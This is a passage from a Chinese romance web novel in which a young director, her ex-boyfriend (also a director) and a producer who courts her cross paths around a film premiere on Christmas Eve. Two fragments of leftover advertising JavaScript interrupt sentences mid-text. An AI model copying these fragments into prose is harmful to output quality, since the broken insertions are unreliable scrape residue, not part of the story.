宜夏赶紧开了热水把身上泡泡冲干净。 她发誓这辈子从没冲澡冲那么快过,最多用了三分钟,立刻又裹上浴袍出了浴室。 出去之前她匆匆扫了他的房间一眼。 到处都是手稿笔记,飞满了整个房间,十分凌乱。随手丢在沙发上的一沓打印稿却吸引了她的目光—— 打印稿的标题是:《清塘山岛日记》最终稿剧本。 瑁妹蹲在书桌上,用黑黢黢的湿润眼睛瞅着她,有些陌生的眼神。 ——也没过多久吧?这就不认识了? 小坏蛋。 宜夏深呼吸,拉开房门。 谈雪昼就等在门口,低着头有一下没一下地翻着手机,似乎刚刚失控的样子只是幻觉,他情绪寡淡,表情也冷漠。 宜夏垂着头,含糊说了一句谢谢,匆匆与他擦肩而过。 心脏抽痛。 乱得不知如何是好。 就像藏着一只小猫,把毛线扯得到处都是。 宜夏从来没发现,自己有这么脆弱的一面。 几乎见到他的第一秒,就要溃不成军。 捂着浴袍推开自己的房门,还没来得及进门,一道矫健的黄黑皮毛小身影从身后扑来,窜进了她的房间,扑到床上。 宜夏有些错愕,疾走几步尝试去捞小猫,可是小猫立刻矫健地蹿到了衣柜顶上。 宜夏不知所措,一转头,谈雪昼已经走了过来,看都没看她,冲着房间里的小猫喊了一声:“瑁妹,过来。” 瑁妹却只是蹲在衣柜上舔爪子,懒洋洋冲他喵了一声。 谈雪昼不耐烦了:“过来。你像话吗,别人认识你吗,你就往别人房间里钻,合适吗?” 瑁妹:“喵。” 宜夏咬了下唇,没忍住,小声说:“认识的。” 谈雪昼扫她一眼,冷笑:“是吗,我以为是陌生人。” 55. x想把你比作春日 一边是猫和前男友。 一边是只穿着浴袍的自己。 眼下这种难堪情形,宜夏三辈子都没遇见过。 看看身旁的前男友,又看看衣柜顶上正在作妖的他的猫,宜夏深呼吸,竭力平静说:“不然你先在外面等一下,我换件衣服,再帮你找猫。” 谈雪昼瞥她一眼,没有回答。 宜夏速度飞快地钻回浴室把衣服穿好再出来,拉开房门,低声说:“你自己进来找吧。” 瑁妹还蹲在衣柜顶上,时不时舔一下爪子,声音很娇嫩。 谈雪昼伸手捞它,但它特别敏捷地躲开,同时还娇软地撒娇叫着,好像在跟谈雪昼玩耍一样,很愉快。 谈雪昼尝试跟猫讲道理,猫不愿听,也不愿意被他抓住,飞檐走壁在房间里跑酷,鸡飞狗跳。 宜夏默默看着,低下头轻轻拧着湿润滴水的长发。 猝不及防,猫一个滑步从桌上跳进了她的怀里。 宜夏慌乱地搂住它。也许是太久没见了,它亲亲密密地蹭了蹭她胸口,软绵绵地喵了一声。 谈雪昼淡声说:“给我。” 宜夏不知道哪来的勇气:“她想我了,想和我待在一起。” 谈雪昼像是听见了什么荒谬的事情,没忍住笑了下。 宜夏突然发现他笑起来唇角会有一个笑涡,浅浅的,挺甜的。 他似笑非笑:“所以?” 宜夏鼓起勇气,第一次看向他的眼睛:“……我、我可以帮你照顾它一阵。” “我们关系有那么好吗?”谈雪昼没忍住嘲讽,“宜夏,你又想干什么?是你的剧组遇见问题了,又缺少投资了?还是遇见哪个对头,跟我扯上什么关系了?” 宜夏被他的讽刺刺得心脏抽疼,仿佛针扎一般。耳根火辣辣地烫了起来。 她脸颊苍白,咬着唇把猫交还给他。他伸手一把拎起猫的后颈,猫立刻奋力挣扎起来,想要逃脱他的魔爪,叫得也很凄厉。 宜夏看着可怜,却不敢多说话。 谈雪昼把猫囫囵裹进怀里,瞟了宜夏一眼,低下头试图跟猫讲道理:“没良心,到底是谁把你养大的?” 瑁妹呜呜喵喵。 谈雪昼拎着猫走出了她的房间。 宜夏默默把房门合上,站在门口揉了揉眼睛,努力搓脸。 突然好沮丧。 而抱着猫的谈雪昼,脚步却顿在了门口,扭过头看了眼合得飞快的房门。 冷笑一声。 拎起猫的耳朵,低声教训它:“你看她要你吗?你就倒贴。” - 宜夏第二天一早,是和柳明昱一起回的江流。 宜夏莫名其妙的情绪低落,但不能因为情绪影响了工作。 《清塘山岛日记》粗剪已经结束了,宜夏拿了片子,剧组几个主创一起看。 粗剪的片子没有配音没有调色没有字幕,音乐也没加上去,只有最原始的影像。然而小会议室里,拉紧了窗帘,画面在投影屏幕上影影绰绰地闪烁,一小会议室的人竟然都感动了,哪怕是这么粗糙的底片,也能看见电影不凡的质感和纹理。 五百多万的预算,能拍出这么好的质感效果,所有人都很振奋。 副导演说:“这个必须投国际A类,B类配不上我们的电影了!” 摄影师说:“完蛋,要拿最佳摄影了。” 柳明昱说:“说不定拿最佳影片。” 宜夏跟着开玩笑:“完蛋,被膨胀的信心包围了。” 所有人大笑。 再就是调色、配音、滤镜。粗剪的片子就可以直接交给电影局审核申请下证,内容审查却要一段时间。 宜夏这段时间就跟柳明昱碰头得很多,也跟他一起去见了不少出品人、发行人和视频平台的老总。 《清塘山岛日记》,是典型的文艺片,无论在国内国际,都很难在电影院院线拿到高票房,这是很正常的事情。 但并不是说典型文艺片就一定是赔本赚吆喝,一定会亏本。 这个世界上也有很多文艺片爱好者,文艺片阵地是各种平台播放版权、蓝光CD收藏光碟等等,很多拍文艺片的电影大师根本不缺钱,只要能卖出一个稍大的海外版权就能回本。相反,反而是商业大片容易亏本,毕竟投资比文艺片高太多——十亿投资,就至少要票房三十亿才能回本。 不过《清塘山岛日记》的出品版权没那么容易谈好。 平台不是做慈善,文艺片没有票房,至少要有奖项证明自己,才能拿到高价格。 从酒店回宜夏公寓的路上,柳明昱开着车,转过头问宜夏:“最迟下个月做完所有后期申请下证。想好投哪个电影节了吗?” 宜夏嘟囔:“先投戛纳,戛纳不收,再投威尼斯,威尼斯不收,再投柏林,A类都投一遍。” 柳明昱:“……” 宜夏抱着针织外套,侧过头抿起唇望着他笑,眼睛弯弯的,亮着水光清浅的水钻,暖呼呼的。 笑起来这么清澈温软,柳明昱这段时间接触下来,却知道她是个非常有野心有主见的人。 车在公寓楼下停下。 宜夏刚要自己解安全带的系扣,柳明昱突然倾身过来,非常自然地帮她解开,又坐回原位。 单手搭在方向盘上,他笑起来很温文:“接下来几天我都不在,你和灵灵两个人注意一点。如果那个私生再来找她,你就给方黎或者其他人打电话。对了,我还有个师弟最近也在江流,找他也行,我把他的联系方式留给你们。” 路嘉灵在《牺牲者》剧组的客串角色只有几分钟,戏份集中两三天就拍完了。可怕的是,那个私生从拘留所出来,竟然跟去了牺牲者剧组,幸好剧组安保到位没让他得逞。 路嘉灵从剧组回江流,还是不敢一个人住,只好继续跟宜夏住一起。 两个人最近没再碰见那个私生,不过宜夏还是打算重新找个安保更严格的小区。 路嘉灵是个很刻苦的女孩。 她格外辛苦地练习,训练,时刻准备着,满怀希望到处试镜,给人发自己的简历,录制试镜视频。 但她这么努力了,还是很少得到机会。 宜夏看着她,有种感同身受的心酸。 底层的小演员,就是这么下贱。 柳明昱把师弟的微信名片推给了她。 宜夏看见头像熟悉的玳瑁猫,整个人定住了。 片刻后,才找回声音:“这是你……师弟?” “我大学的师弟,你可能听说过他的名字,谈雪昼,很有名吧?”柳明昱笑起来,柔和说,“他人很好。我还是从他那里看到你的剧本的,说起来,你应该认识他?不然你初始版的剧本怎么会在他那里?” 宜夏彻底怔了。 连日来的猜测终于尘埃落定。 是他。 她垂着脸,轻声问:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他是怎么跟你说的?” “他就说季一鸣给他推了个好本子,他自己不能拍,让我看看想不想拍。” 宜夏用力抿紧嘴唇,轻声说:“这样啊。” “我觉得本子是不错,所以来找你了。”柳明昱说,“有机会介绍你们认识。” “他还说我……什么吗?”宜夏抓紧安全带,强行敛眉低眼,不让柳明昱看出自己的情绪外露。 “没。”柳明昱想了想,“哦对,还说了投资的事。” “——投资人其实是他?” “是。”柳明昱很自然地说,“他不怎么投文艺片的,这回是破例,也是我们的本子确实写得好。”安静片刻,没听见宜夏说话,他有点奇怪地偏过头来,却看见宜夏格外苍白的脸色。 “怎么了?” 宜夏咬住舌尖,逼迫自己脑子清醒下来。 可是,谈雪昼为什么要这么做? 都分手了。 做事这么拖泥带水,不干净。 连猫都分了,还做这些事干什么。 明明。 对她态度冷漠,她心里才会好受一点。 - 电影《城池》的首映礼在江流市举办。 《城池》是谈雪昼压了三年的片子,数次修改,特效重新做了好几轮,这次终于能够上映,圈内外关注度非常高。 《牺牲者》前几天刚杀青。 谈雪昼马不停蹄地筹备《城池》首映礼,忙得脚不沾地。 首映礼当天很多圈内大咖都到场助阵,谈雪昼作为导演,却是其中最提不起精神的一个,结束了首映观影简单互动之后就离场了,没跟演员们一起去聚餐。 刚回到酒店还没喘口气,接到了柳明昱的电话,邀请他出去吃点夜宵。 谈雪昼懒散说:“不去,休息。” “小雪,重点不在吃饭,在……”柳明昱说,“想请你帮我参谋一下。” 谈雪昼歪着头把手机夹在肩膀上,手上则在翻接下来两天的日程表格——路演,补拍,各种活动,应酬,酒会,晚宴…… “参谋什么。” “你哥我活了十八年,终于遇见了一个心动女嘉宾了。” 谈雪昼懒懒说:“三十八,谢谢。而且我单身,出不了主意,找其他人。” “我就是想打听一下,你们这些拍电影搞文艺工作的,一般喜欢别人怎么追求?” 谈雪昼坐直,直截了当说:“我是直男。” “……”柳明昱被噎了一瞬,“不要太自恋。” 他顿了下,声音不由自主变低,有点不好意思,“是《清塘山岛日记》的导演,不是你给我推的剧本吗?有机会一定要介绍你们认识——” “谁?”谈雪昼手上的日程表被他不小心撕坏一小片,他声音冷淡下来,“你说你要追谁?宜夏?” “……”活了三十多年,老男人也有扭捏的时刻,柳明昱不由自主说,“她是我见过最单纯,最善良的女孩,又有才华,又能吃苦。我第一次遇见。” 谈雪昼冷淡嘲讽:“师兄,就跟她合作一部片子,你就看出来她单纯善良有才华了?” “当然了,你师兄我阅人无数。你来帮我参谋一下,这种要怎么追?送花?送礼物?我担心她对我没那个意思。” 谈雪昼冷笑:“不帮,挂了。” 柳明昱:“?” 再打过去,发现被拉黑了? 56. 想把你比作春日 第49章 宜夏又是在热搜上见到了谈雪昼。 《城池》的首映礼浩大,各路明星前来助阵,热搜轮番上。就连很少发微博的路昭野,也上线营业祝谈导新片票房大卖。 谈雪昼没发微博。但电影的官博发出首映礼的宣传照,九宫格全是谈雪昼,下面评论区粉丝其乐融融地调侃: 其他电影都卖演员卖明星的脸,咱们谈导直接卖自己的脸就够了哈哈哈。 第五张照片里,谈雪昼穿着一身灰色的高领骆驼绒毛衣,微微前倾弓着身回答首映礼观众的问题,看起来没笑,但唇角一个很深的笑涡,甜得很沁人。 首映礼之后几天电影才正式公映,不过在公映前,有小规模的点映。 宜夏想买点映票,却没抢到。 点映首日网上口碑就已经炸裂了,很多影评博主长篇大论地夸奖,吹得天花乱坠,点映一票难求。 宜夏朋友圈里有个她不熟悉的制片人也去看了,看完之后铿锵有力地发了条朋友圈: “谈导!你是我爹!” 宜夏真的好奇了。 这部压了三年的电影,怎么还这么神? 可惜次日、后日的点映票都早早售罄。 只能等电影大规模公映。 点映口碑发酵中,话题漩涡中央的谈雪昼被柳明昱拉了出门。 两个人找了家小餐馆吃冰煮羊肉,柳明昱请客。这家店是他好不容易探店发现的,烟火气很足,口味也特别正宗,才好贿赂谈雪昼。 柳明昱很熟练地点好甜牛奶,把菜单丢给谈雪昼:“加,看看加什么。” 谈雪昼默不作声低着头回微信,漫不经心说:“有话直说,没时间吃饭。” 柳明昱:“那我就直说了。” 谈雪昼忽然抬头:“只谈公事,不谈私事。” 柳明昱:“?” 谈雪昼搁下手机,定定看着他。 柳明昱说:“小雪,我实在是没人找了,我一问小昭他们,都笑我。只有你是单身,你不会笑我,你肯定理解我。” 谈雪昼说:“谁说我单身。” “?” “离异。”谈雪昼说,“孩子他爸。小孩已经半岁了。” 柳明昱:“……” 他不理谈雪昼的胡言乱语,把手机怼到谈雪昼面前:“你帮我看看,我有没有希望?” 怼到眼前的是一段聊天记录。 对面是宜夏。 柳明昱说: -我刚刚看了进度,最迟下个月中旬要提交给局里。 宜夏说: 【好的。】 又补了一个撒花的表情包。 柳明昱又说: 【最近那个私生没有找灵灵麻烦吧?】 宜夏说: 【没有。】 跟着一个捧脸的小猫表情,可怜巴巴的。 柳明昱说: 【许总那边海外发行差不多定了,不过咱们如果能拿个奖,发行条件会更好,到时候也好跟海外发行商谈条件。】 【回本是肯定能回的。】 宜夏说: 【太好啦!】 跟着一个撒花小猫表情。 谈雪昼推开手机屏幕,嗤笑:“没发现别人不愿意理你吗?” 柳明昱:“是吗?有吗?我说话她都回啊。” “但她没有主动。” “怎么没有。” 柳明昱往上翻,再把聊天记录怼给谈雪昼。 全是: 【[文档]柳总这是最新版】 【[文档]柳总看一下这版稿子】 【[文档]定稿版本,大概差不多了吧。】 【柳总你有时间来看一下粗剪版。】 谈雪昼冷笑:“不全是公事?” “也有私事啊。” 【柳总,灵灵今天煮了火锅,我们两个人吃不完,你要不要一起来?】 柳明昱回: 【好,要我买点食材吗?】 宜夏说: 【买点肥牛卷吧,还有汽水[眨眼]】 柳明昱: 【你要喝什么汽水?橙味芬达可以吗?】 宜夏说: 【我喜欢一种盐汽水,超市里没有,便利店有卖的,那种蓝色玻璃瓶装的,不知道你能不能买到。如果有的话就多买几瓶吧,冰镇特别好喝。】 柳明昱给谈雪昼展示:“你看她一点都不抗拒我,还叫我去吃火锅,还给我分享她爱喝的汽水。” 谈雪昼脸冷了,目光沉沉,站起来:“我有事,情感分析做不了,你找别人。” 柳明昱:“哎?哎什么急事啊?这么急?羊肉还没吃呢小雪!” 吃吃吃。 就知道吃,抱着锅吃你的吧,是个猪。 还追什么姑娘。 柳明昱一个人在店里吃完了一锅冰煮羊。 吃之前还拍了张照,精心P了之后,挺若无其事、随手分享一样地发给了宜夏: 【宜老师,这家冰煮羊很好吃,你可以和嘉灵一起来试试。】 - 看到柳明昱消息那一刻,宜夏心里咯噔一下。 倒不是说她自恋,只是……最近柳总表现得着实有些明显。 最开始两个人聊天挺客气的,后来熟了,也能开玩笑了,但宜夏自认是控制在朋友的范畴里。不知道什么时候起,关系越来越近,从公事聊到私事。宜夏隐约有察觉,就又客气起来,但不能表现太明显,所以偶尔带两个表情包…… 只是柳总好像完全没察觉到她的疏远。 不仅开始给她分享公事上的进度,也开始有一搭没一搭地分享好吃的餐馆,好看的花,有意思的书……这些分享,又没有跨越雷池,可以说是朋友之间的分享,宜夏没办法严正拒绝说明自己不想谈恋爱——万一误会了,他真是朋友之间的分享,那该多尴尬。 宜夏左右为难,路嘉灵凑过来看,笑眯眯说:“我觉得柳总对你有意思。” “为什么?” 路嘉灵一下没理解:“什么为什么?” “为什么对我有意思?” “那我怎么知道呀,就是直觉。”路嘉灵下巴搁在她肩膀上,笑起来,“阿宜导演,你觉得柳总怎么样?” “他是个好人但是——” “这就发好人卡了?你对他没意思?” 宜夏默然不语。 “但我觉得你们可以试试啊。柳总人确实很好,性格脾气都不错,而且你当导演,他是制片,事业上也能有一些帮助。你可能不清楚,我混过这个圈子嘛,我还是知道一点柳总的,他人品也好,从来没听说过他和女明星女演员有什么太多往来,特别的洁身自好。你要是没有喜欢的人,柳总再怎么也不差吧。” “——他是不是给你充钱了,让你游说?” “没没没,我发誓,帮柳总说好话全凭他的人品。” 宜夏看着不远处窗外的天空,过了好久才说:“我有喜欢的人了。只是不能跟那个人在一起而已。” 路嘉灵犹豫,忍了又忍,问:“是谁?” 宜夏垂下头,怅然不语。。 “为什么不能在一起呢?” 宜夏说:“有很多原因,家庭,性格……” 路嘉灵默然许久,轻声说:“我也有个喜欢的人,可是他离我很远很远,只能在做梦的时候想一下他。” 宜夏揽着她的脖子:“算了。” “恋爱有什么好谈的,关键时刻,应该努力拍电影。” “嘉灵,你不能服输,你要风风光光拿影后。我呢,我也不能服输,我要拿最佳导演。” - 《城池》公映定档是圣诞档,圣诞节当天全国公映。 圣诞前一天的平安夜,有人约宜夏出门。 是柳明昱。 这种特别敏感的时间,约人出门,几乎就已经昭示了目的。 所以宜夏打算出去,跟柳明昱把话说清楚。柳总人很好,所以她不想他在她身上无望地浪费时间。 江流是南方城市,但最近寒潮汹涌,竟然也破天荒下了雨夹雪。而平安夜的晚上,更是非常有节日气氛地飘起了小雪,还上了热搜。 出门前,路嘉灵抓着宜夏,要她好好打扮。 为了礼貌,宜夏是化了淡妆的,还编了头发。不过天气冷又下雪,宜夏在风度和温度之间权衡,最终还是选择裹上白色的短款羽绒外套,围了根特别圣诞的深红色围巾出门。 一路上,她都在想,要怎么说,才能不伤合作伙伴的和气。 如果真是她误会柳明昱倒是好了…… 而柳明昱。 出门前非常认真地换了好几套西装,拍照发给谈雪昼。 【作为我最有审美的兄弟,这几套我应该选哪套出门?】 【哪套表白成功率高一点】 谈雪昼没理他。 柳明昱感觉自己最近是嘚瑟了一点。 不该在一条单身狗面前过度彰显自己急切的求偶心态。 不过他还是有些想分享: 【平安夜她答应我出门,其实她应该对我有点意思吧?】 【你说呢?】 谈雪昼仍然没回。 柳明昱本来以为他是工作忙没看见微信。在关闭聊天窗口前一秒,却见他的名字短暂地跳成了“对方正在输入中”,下一秒又跳回名字。 这是,看见了? 看见了为什么不回? 算了。 电影马上要公映,估计正忙着,没时间闲扯,柳明昱也理解。 他给头发再喷了一层发胶,发现造型有些僵硬,又卸掉,重新梳头,弄得一丝不苟之后才出门。 出门前谈雪昼的消息终于进来了。 【分享:海晏假日酒店顶楼观景餐厅-大众点评5.0分】 【定的这家?】 柳明昱愣了下: 【对】 【哎突然忘了,这不是你家的吗?】 谈雪昼冷冷说: 【表白成功了我让乐队给你赠送一支婚礼进行曲】 柳明昱: 【那就提前先谢谢兄弟了!】 谈雪昼丢开手机,懒得回他。 - 柳明昱绕路去取了订好的花。 约的地方是江流海滨最高点海宴假日酒店的观景餐厅。 要上去时,他有些犹豫,抱着这么一大捧花上去,会不会有些高调张扬?如果她不喜欢的话,会为难吧。 于是他没带上花,自己一个人上楼去到餐厅里。 没等几分钟,宜夏很准时的到了。 不像他穿得很正式,像出席晚宴,她穿得很轻松简单,米白色的面包服,毛领也是白的,蓬松柔软地簇着脸颊,显得脸孔玲珑,粉白莹润。红围巾,红色的蜻蜓发卡,更衬得脸色红润,唇色也格外鲜艳。 柳明昱记得第一次见她,第一印象却是她长得实在是显小,很像高中时全班男生都喜欢讨论的那类漂亮女孩儿,不是校花,但是实打实的清纯初恋脸。 宜夏在柳明昱柔和的眼神中落座。 她几乎能够确定,自己没有误解柳明昱的信号。 那接下来就是要把话说清楚了。 她解开围巾搁在旁边,柳明昱递来菜单:“想吃什么?先点一点吧。” 宜夏抬起头,轻轻呼出一口气:“柳总,我……” “来的路上堵车了吗?先喝点热水吧,外面太冷了。” 宜夏轻声说:“柳总,我有话要跟你说。” “认识这么久了,宜老师,你叫我名字吧。” 宜夏很缺乏拒绝其他人善意的勇气。 曾经面对舒润的追求,她拒绝不了,答应做他女朋友;面对于思程的示好,她拒绝不了,几乎掏心掏肺。后来她知道了,这是病,要改,她得有拒绝的勇气,被讨厌的力量。 所以…… 她紧紧抿住嘴唇:“柳总,这段时间,我们合作很愉快。你是我的贵人,没有你,我的电影拍不出来。如果有机会,下次希望还能再合作。” 柳明昱怔了一瞬间:“最近怎么这么客气?” 宜夏垂下头,咬了下牙,又抬头:“如果你不嫌弃,我也觉得我们算是朋友了。其他的,我暂时没有想那么多。” 柳明昱顿时明白了她的意思。 他沉默片刻,很镇定地笑起来:“想什么呢,当然,我们这还不算好朋友吗?你别误会,我已经有喜欢的人了,今天请你出来吃饭,其实是想问你——”问你什么?柳明昱感觉自己心脏被劈成了两半,一半隐隐有些酸胀,另一半却在冷静理智地思考眼下的情况,他脱口而出一个借口:“《清塘山岛日记》拍完之后下一个项目准备做什么。手上还有没有其他本子,一起开发。” 宜夏松了口气。 她不确定,是不是从柳明昱眼里看见了闪烁的期待的温情的光芒逐渐黯淡。 他实在是绅士礼貌,不愿意她为难。 宜夏也有些为他难过,可是话说清楚了,就是最好的,因为她不能耽误一个这么好的人。 她轻声说:“我手上还有一个写好的本子,是爱情片,没给你看过。” “不是不写爱情的吗?” 宜夏笑了下,语气柔和:“前段时间才懂怎么写。” “那下次给我看看。点菜吧,吃饭的时候详细聊。” 吃饭的时候,宜夏把《想把你比作春日》的剧情大纲简单地跟柳明昱讲了一遍。这是个挺商业的剧本,柳明昱很敏锐,一下感觉出票房的潜力,提起了兴趣。两个人就这个话题好好聊了一阵。 柳明昱分裂成两半的心脏并未合拢。 一半被泡在温热的盐水里,隐隐作痛。 另一半,则波澜不惊地注视着眼下这一切——平安夜表白,却把表白变成了彻头彻尾的聊工作。 之前怎么没感觉,自己还有点工作狂的潜质呢? 他吃了一块牛排,抬头,若无其事问:“之前不会写爱情线,怎么突然会写了?” 宜夏表情空白了一瞬,抿着唇:“因为……因为有个喜欢的人。” 柳明昱在心里默 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 默叹了口气,也知道自己根本没有进入赛场,就更不用说输不输了。 但他还是很想知道,那个没让他上场的人,到底什么情况。 也没见她身边,有什么特别接近的男的。 难道是前男友? 分手多年念念不忘的前男友? 柳明昱问:“是什么人?怎么没和他在一起?” 宜夏半晌才回答:“他很好很好,我配不上。” “你也很好很好。” 宜夏笑起来,眼睛弯弯的,杏眼里却水光粼粼:“柳总,你没有真正地认识我。我其实一点都不好,自私、虚荣、肤浅、刻薄,做事还不择手段。” 柳明昱说:“可是我觉得你很好。不要那么说自己。” “谢谢你柳总。”宜夏埋下头,轻轻呼出一口气,“你真的很好,我真的运气很好才能遇见你。” 柳明昱没再说什么。 再多说似乎也是徒劳,反而会给她造成困扰。 两个人吃完了饭,一前一后离开餐厅。都已经进电梯了,柳明昱落了副耳机在餐厅里,折回去取。 迎面撞上从里面出来的谈雪昼。 柳明昱脸上一愣:“你怎么在这里?” 谈雪昼漫不经心说:“吃饭。” “……” 谈雪昼瞟了眼他的神色,有点怜悯:“失败了?” 柳明昱:“……” 柳明昱匆匆离开,追上宜夏,在酒店楼下提议送她回去,宜夏却说不用。 她买了《城池》公映第一场,午夜场的票,打算看完再回去。 今晚这种情况,柳明昱自然不可能那么没眼色提议跟着去看电影,于是两人气氛很轻松愉快地告别了。 柳明昱把车开出去很远,还能从后视镜里看见她粉白的外套,毛绒绒的围巾。她站在原地挥手,表情如释重负,他心头却沉甸甸坠得很难受。 一转头,又看见副驾驶上的红玫瑰,他叹了口气。 算了。 成年男女,点到即止。 很奇怪的是,即将有电影要全国公映的男人,今晚却格外闲,刚刚在餐厅里撞见了一回,这会儿又有空关心他。 【?】 柳明昱随手回: 【问号是什么?】 谈雪昼: 【怎么样?】 柳明昱: 【不是很明显吗?没表白就被拒绝了。】 谈雪昼: 【……】 柳明昱说: 【这下也不敢追了,人家有喜欢的人。】 谈雪昼: 【?】 柳明昱: 【还说喜欢的人很好很好,她配不上,所以没在一起。】 【分手了还能帮前男友说好话】 【但我倒感觉她前男友不是什么好东西,毕竟这么好的女孩还能分手。】 【不知道哪里来的倒霉蛋。】 谈雪昼: 【……】 很久后,他才终于又发了条消息过去。 【送她回家了吗?】 柳明昱: 【没有,她还要看电影。】 【一个人电影有什么好看的。】 谈雪昼: 【那她现在还在滨江?】 柳明昱奇怪了: 【你问那么多干什么?】 【这么关心我喜欢的姑娘?】 【你不会对我有意思吧?】 谈雪昼懒得回答这种弱智问题,两只手插在口袋里,站在高处张望。从餐厅出来,附近最繁华的商圈就是滨江这一块,她应该,就藏在熙熙攘攘的人流里。 刚刚。 他们在吃饭,他就坐在他们不远处的卡座里,听他们聊天。 他是鬼使神差来的,也是鬼使神差坐下,鬼使神差地听。 其实没听清什么内容,但能看出来,柳明昱的表白没有成功。 说不上来是什么情绪。 更多的心情,竟然是松了口气。 如释重负,虚惊一场。 她说她有喜欢的人。 那个人……是他吗? 她的话半真半假,他万种揣测,却得不出答案。 一点点希望,一点点揣测。 只要…… 只要你承认,有点一点点喜欢,就可以。 我就可以说服自己。 平安夜灯火如昼,到处是挽着手的情侣在散步。 他在人头攒动的圣诞节人海里四处逡巡,寻找她的身影。 站在台阶上望了一整圈,也没见到熟悉的人影,他突然又有些意兴阑珊,提不起劲—— 慢慢地冷静下来了。 我这是做什么。 竟然就因为,有人要对她表白而方寸大乱。 太没出息了,简直是在犯贱。 就算真的有人跟她表白,跟他又有什么关系?她根本,从头到尾,一点都不喜欢他,没喜欢过。 她说的那个,喜欢的人,应该是舒润吧。 反正不会是他。 她要来看的电影,应该也是舒润要上映的新作吧,什么来着?好像叫二十一条谎言还是什么玩意儿来着,被他的《城池》打得丢盔卸甲。 这么看来,我也没有那么失败。 谈雪昼面无表情地想。 他顺着人流慢慢地往回走。眼睛很干,他想摸墨镜出来戴上,却发现把东西落在车上了,只好闭上眼睛缓一阵。 再睁开眼时,他已经走到了附近一家商场前的广场上。 人流如织,广场上许多卖氦气球、氢气球的小贩,还有人卖玫瑰花附赠礼花枪。商场门口立着很多地推的易拉宝,是商场影院宣传《城池》的海报。 人流来来去去。 商场外飘着细雪,已经在地上积了浅浅一层。有人停在海报前驻足欣赏,有人离开,有人手腕上缠着玉桂狗的气球往商场里走去,有人捧着玫瑰花笑得满足快乐。 好像只有他是孤零零一个人。 他双手插兜站在广场花坛的台阶上,入目所及,全是洋溢的温暖。 光彩明亮,却面目模糊。 在流光溢彩之中,忽然远处走过来一道穿着白色羽绒服、围红围巾的纤瘦身影。 这一刻所有的光亮突然凝固、消散。 只剩她从人流之中慢慢走出来,成为全世界唯一一道清晰真实的笔触。 她呵着手,走到商场门口,在《城池》的海报前停留了很久。 然后慢慢朝商场里走去。 谈雪昼鬼使神差地跟在她背后。 隔着二三十米距离,若无其事漫不经心地插着口袋往前走。 她根本没想逛商场。 而是目的十分明确地直接上了商场的顶楼影城。 他站在影城入口的阴影处,看见她走到机器前换票,然后一个人在大厅正中央的红丝绒沙发上坐下,慢吞吞地解开围巾,低头搓手。 ……宜夏,你过得也不怎么样。 这种晚上,竟然还要一个人来看电影。 57. 想把你比作春日 电影检票,宜夏进了影厅。 这一时刻只有一部电影在放,那就是《城池》公映的第一场,零点场。 谈雪昼想跟着进去,但被检票员拦在了门外。 旁边正检票的一对情侣转头看见他,齐齐惊愕,又迟疑,随后女生拉着男生过来,一起问:“……那个,是谈、谈导吗?” 谈雪昼慢条斯理问:“谁?谈雪昼吗?很多人说我长得像他。” 男生凑在女生耳朵旁边说:“没戴墨镜,应该不是吧。” 女生小声说:“很像啊。” 检票员催促:“快,还有没检票进场的没有?” 一对情侣犹疑着检票进场了。 等所有人检票结束,谈雪昼淡定地再去跟检票员刷脸。 没想到还没开口,检票员压低声音说:“快进去吧谈导——待会儿看完了能发条微博宣传下我们影院不?” 谈雪昼跟着人流进了影厅。 影厅里光线昏暗,看不清她坐在哪里。 零点场竟然是满座,出乎他自己的意料。他没有座位,只能站在最后排中间的通道里。 左手边一排座位,是几对情侣,右手边,也是几对情侣。这种晚上出来看电影的,除了情侣,也许就是演员粉丝了,或者他的影迷。 所以,她是属于,演员粉丝呢,还是他的影迷呢? 还是,情侣中的一个? 电影他没心思看。 昏暗中,他注意着周围观众的神情,或激动、或紧张、或虚惊一场、或提心吊胆,最后则是如释重负的喜悦。 很多人说电影是视听艺术,对他来说,是情节和故事的艺术,或者更具体一些,是情绪的艺术。他的偶像希区柯克是控制恐惧和悬疑的大师,他从一开始,就很会操纵观众的情绪。 但是操纵的成功,却怎么也抵消不了满场没有找到她的身影的沮丧。 他一排一排往下数,分辨究竟哪个是她,却哪里都没找到。 他操纵了一整个影厅所有人的情绪,不知身处何处的她却操纵了他的情绪。 她到底在哪里? 明明是进了这间影厅的。 电影结尾。 片尾字幕滚动,顶灯大亮。 几个坐前排的女生已经提前起身走到了门口,为离场的观众发她们自制的手幅、手环。 是来做应援的演员粉丝。 谈雪昼没急着离场,站在最后排最高点往下寻找。 目光一凝。 终于在出口看见了她。 她在跟几个发手幅的小姑娘领应援。 那几个粉丝做的应援很精致,好几个离场的观众簇在一起想要再领一份。 她被围在最里圈,两只手插在口袋里,微微低着头,扎好的头发散下来一绺,很耐心在等她们发到她。 谈雪昼走到人群最外围,听见了她的声音—— 一个姑娘问:“小姐姐你也是傅浪的粉丝吧?” 她领到一个手环戴上了,举手看了看,抿着嘴唇说:“不是,是谈导。” 旁边的观众说:“死忠粉啊,来看零点场。” 她淡淡笑着,轻声说:“是,路人粉。” - 宜夏从商场里出来,离开满场的暖气,一出门就被夹着细雪的寒风刮了个哆嗦。她慢腾腾把围巾裹上,双手插在口袋里,朝外面走去。 零点场的电影看完,两个钟头,现在已经是凌晨两点多了,平安夜的人流早就散场,此时商场外面的小广场除开刚刚看零点场的寥寥观众之外,别无其他人。地上积了一层细雪,踩着靴子走过去,有沙沙的轻响。 地上丢了一枝红色玫瑰。 宜夏弯腰捡起来,红玫瑰花瓣上沾了地上的泥水,一点点雪色点缀其上,格外晶莹。她擦干泥水,打算带着这枝玫瑰回去养着。 突然又想起他们在一起时间那么短,连玫瑰花都没互相送过。 很遗憾。 一种很漫长的,温柔绵密的心碎。 也许是夜太深了。 走出广场,四周没有一点声响,除开踩雪的轻微沙沙声,就只有偶尔卡车窜过马路的大动静。太安静了,看着手里捡来的玫瑰,她突然有些惆怅。 刚刚看完的电影情节也一股脑上涌。 男女主角亦敌亦友,最后却因为意外错过,最终彼此都有很好的结局,只可惜结局不是对方。 一部讲家国天下的电影里,稀薄浅淡的感情线,淡淡一笔,却犹如笔墨浸湿在熟宣上,渗得那么深,那么遗憾。 宜夏低着头往前走,却忽然听见背后传来一声短促清脆的树枝折断声。 好像……有人跟着她。 她回头。 空茫茫的世界,一个人都没有,只有漫天的清雪飘摇。 